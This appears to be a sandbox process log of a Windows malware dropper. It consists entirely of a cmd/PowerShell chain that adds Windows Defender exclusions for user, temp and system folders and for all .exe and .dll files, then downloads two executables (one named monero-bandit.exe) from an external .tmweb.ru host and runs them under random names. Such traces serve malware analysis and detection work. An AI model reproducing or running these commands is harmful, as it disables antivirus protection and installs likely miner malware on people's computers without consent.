cmd.exe cmd /c powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & powershell "(New-Object System.Net.WebClient).DownloadFile('http://cx55566.tmweb.ru/farm_money.exe', (Join-Path -Path $env:Temp -ChildPath 'gfhfg.exe'))" & powershell "(New-Object System.Net.WebClient).DownloadFile('http://cx55566.tmweb.ru/monero-bandit.exe', (Join-Path -Path $env:Temp -ChildPath 'Fsdgde.exe'))" & powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'gfhfg.exe')" & powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'Fsdgde.exe')" & exit
2384powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
1304powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
1632powershell.exe powershell "(New-Object System.Net.WebClient).DownloadFile('http://cx55566.tmweb.ru/farm_money.exe', (Join-Path -Path $env:Temp -ChildPath 'gfhfg.exe'))"
2564powershell.exe powershell "(New-Object System.Net.WebClient).DownloadFile('http://cx55566.tmweb.ru/monero-bandit.exe', (Join-Path -Path $env:Temp -ChildPath 'Fsdgde.exe'))"
2032powershell.exe powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'gfhfg.exe')"
1512gfhfg.exe "C:\Users\test22\AppData\Local\Temp\gfhfg.exe"
2208powershell.exe powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'Fsdgde.exe')"
2760Fsdgde.exe "C:\Users\test22\AppData\Local\Temp\Fsdgde.exe"
2704